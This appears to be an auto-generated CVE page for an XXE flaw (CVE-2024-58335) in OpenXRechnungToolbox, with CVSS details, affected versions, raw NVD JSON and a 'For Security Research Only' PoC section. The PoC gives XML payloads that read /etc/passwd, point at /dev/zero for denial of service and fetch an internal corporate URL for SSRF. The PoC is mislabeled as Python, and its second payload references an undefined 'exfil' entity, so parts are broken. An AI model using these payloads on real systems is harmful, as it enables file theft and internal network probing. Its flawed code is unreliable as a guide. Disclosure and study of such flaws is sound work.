Security Vulnerability Report
中文
CVE-2024-58335 CVSS 5.0 MEDIUM

CVE-2024-58335

Published: 2025-12-24 06:15:44
Last Modified: 2026-04-15 00:35:42

Description

OpenXRechnungToolbox through 2024-10-05-3.0.0 before 6c50e89 allows XXE because the disallow-doctype-decl feature is not enabled in visualization/VisualizerImpl.java.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

OpenXRechnungToolbox < 6c50e89 (2024-10-05之前版本)
OpenXRechnungToolbox 3.0.0及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC: Malicious XML file for XXE attack --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE invoice [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY dos SYSTEM "file:///dev/zero"> ]> <invoice> <vendor>Attacker Inc.</vendor> <amount>&xxe;</amount> <ssrf>&xxe;</ssrf> </invoice> <!-- Alternative SSRF PoC --> <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % dtd SYSTEM "http://internal.corp.local/admin/config"> %dtd; ]> <r>&exfil;</r>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58335", "sourceIdentifier": "[email protected]", "published": "2025-12-24T06:15:43.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenXRechnungToolbox through 2024-10-05-3.0.0 before 6c50e89 allows XXE because the disallow-doctype-decl feature is not enabled in visualization/VisualizerImpl.java."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/jcthiele/OpenXRechnungToolbox/commit/6c50e8979924b09f336c976cbad3a9ebfe25ebf9", "source": "[email protected]"}, {"url": "https://invoice.secvuln.info", "source": "[email protected]"}]}}